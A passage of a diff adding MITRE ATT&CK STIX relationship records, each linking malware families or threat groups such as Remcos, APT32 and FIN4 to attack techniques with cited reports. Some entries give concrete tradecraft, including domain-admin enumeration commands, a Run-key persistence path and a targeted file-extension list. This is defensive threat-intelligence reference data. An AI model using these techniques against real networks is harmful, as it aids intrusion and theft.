"uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on permission groups within a domain.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f36a8899-940f-4c8f-924d-eef2f056744d", + "external_references": [ + { + "source_name": "TechNet Dsquery", + "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx" + } + ], + "modified": "2019-04-25T00:08:30.177Z", + "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch remote scripts on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T17:59:44.521Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6994ee91-7379-4281-8f16-85b21467bb97", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.060Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the timestamp from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T18:44:04.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38248217-7c11-4ae9-a13e-7296dead0df8", + "external_references": [ + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "modified": "2019-04-16T14:30:35.265Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command for keylogging.", + "type": "relationship", + "created": "2019-01-29T18:55:20.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c50fd202-d4af-4157-b368-b4525af075c1", + "external_references": [ + { + "source_name": "Fortinet Remcos Feb 2017", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + }, + { + "source_name": "Talos Remcos Aug 2018", + "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.", + "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html" + } + ], + "modified": "2019-04-19T14:39:52.964Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) has a keylogging capability.", + "type": "relationship", + "created": "2019-01-29T19:18:28.779Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da288184-6537-4a23-b26e-e4329690bddb", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. 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The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:42.665Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can capture audio feeds from the system.", + "type": "relationship", + "created": "2019-01-29T20:05:36.514Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--72e501db-419e-4fe9-9f10-fa8f266d829b", + "external_references": [ + { + "source_name": "DigiTrust NanoCore Jan 2017", + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. 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Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.853Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.", + "type": "relationship", + "created": "2019-01-29T21:27:25.242Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5577d7ff-58ee-4513-bf01-3be1a60ac2c9", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.750Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-12T16:33:51.199Z", + "type": "relationship", + "created": "2019-01-29T21:37:00.022Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69205d34-6967-40df-baed-45b5d23d8e27", + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "relationship_type": "uses", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) creates a file in AppData\\Local\\Microsoft\\Windows\\Explorer and stores all harvested data in that file.", + "type": "relationship", + "created": "2019-01-29T21:57:39.366Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e77c6fc-0227-42d6-b4ce-f228115963fe", + "external_references": [ + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "modified": "2019-04-17T22:12:24.761Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses WMI to query the Windows Registry.", + "type": "relationship", + "created": "2019-01-30T13:42:09.595Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8a9e5785-f1cb-4127-9045-07e7bba11e80", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.595Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) obfuscates strings in the payload.", + "type": "relationship", + "created": "2019-01-30T14:00:49.906Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--23bd8e78-b20d-41bd-acfb-5ed356b327b2", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2019-05-30T18:05:32.748Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) has a command to launch a remote shell and executes commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T15:10:04.213Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--29bc6cf7-25aa-41da-8be3-e2de12c7d876", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:11.900Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to download additional files.", + "type": "relationship", + "created": "2019-01-30T15:27:06.732Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75f47e28-75dd-4471-8d00-ed4a2c4d3328", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.488Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can create a reverse shell on the infected endpoint using cmd.exe.", + "type": "relationship", + "created": "2019-01-30T15:43:19.423Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--102d7613-aabc-4d54-b0fe-88501924da86", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.156Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) injects into a newly spawned process created from a native Windows executable.", + "type": "relationship", + "created": "2019-01-30T16:39:54.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a24d8975-fa51-4ac1-b928-9af5b5660109", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.491Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged WMI for execution and querying host information.", + "type": "relationship", + "created": "2019-01-30T17:33:40.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1b6f869f-951c-4323-816f-dbedbe3aac0a", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "source_name": "Talos MuddyWater May 2019", + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "modified": "2019-06-28T15:30:58.480Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) can modify the Registry.", + "type": "relationship", + "created": "2019-01-30T17:48:35.604Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9fbc10b3-f72e-4cc8-9e94-34c6404c3a1f", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.604Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:36:29.966Z", + "type": "relationship", + "created": "2019-01-30T18:02:59.454Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5228157f-e15e-4059-a400-503f75f019b6", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) uses SMTP/S and POP3/S for C2 communications by sending and receiving emails.", + "type": "relationship", + "created": "2019-01-30T18:58:04.102Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62391d2c-56de-42e3-a937-fb9ffa3a4308", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "modified": "2019-04-22T19:48:08.899Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses the Windows call SetWindowsHookEx and begins injecting it into every GUI process running on the victim's machine.", + "type": "relationship", + "created": "2019-01-30T19:50:46.744Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e712d24e-0fdc-4ce3-96bf-939b7d4a9cd3", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.393Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-31T00:36:40.962Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--412c7c8b-4821-4f08-a3d2-2da034f8343f", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:18.860Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) enumerated administrative users and DC servers using the commands net localgroup administrators and net group \"Domain Controllers\" /domain.", + "type": "relationship", + "created": "2019-01-31T01:07:58.606Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eabc867b-7383-4752-b3ec-ad51ec8104bb", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:37.814Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has presented victims with spoofed Windows Authentication prompts to collect their credentials.", + "type": "relationship", + "created": "2019-01-31T02:01:45.685Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a568a6a5-860b-4fe1-9f00-ab6fbbb41a26", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.223Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) has a keylogging capability.", + "type": "relationship", + "created": "2019-01-29T21:33:34.689Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--626b1cb2-60a8-4077-913e-1ee4e788cec6", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.823Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt).", + "type": "relationship", + "created": "2019-01-29T21:47:53.743Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--12c94395-26b4-46a5-bb10-dab19b5f1a30", + "external_references": [ + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.827Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-30T13:28:47.843Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--06eac254-32a7-4e32-97b2-c46f79b4adb3", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.347Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses HTTP and HTTPS for C2 communications.", + "type": "relationship", + "created": "2019-01-30T13:53:14.947Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4905ffe6-8c52-48e2-90f1-ea1ad064fe16", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:21.905Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) sent emails with malicious Microsoft Office documents attached.", + "type": "relationship", + "created": "2019-01-30T14:26:43.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb0121a7-4ba2-4e6d-a12d-b7375581b943", + "external_references": [ + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.271Z", + "source_ref": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) creates a Registry entry to ensure infection after reboot under HKLM\\Software\\Microsoft\\Windows\\currentVersion\\Run.", + "type": "relationship", + "created": "2019-01-30T15:27:06.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b228cc3b-a428-42e4-b6f3-994fe790e329", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:28:19.541Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to download a file from the C2 server.", + "type": "relationship", + "created": "2019-01-30T15:38:21.390Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b0220134-2033-4261-9b1d-e94abd691476", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. 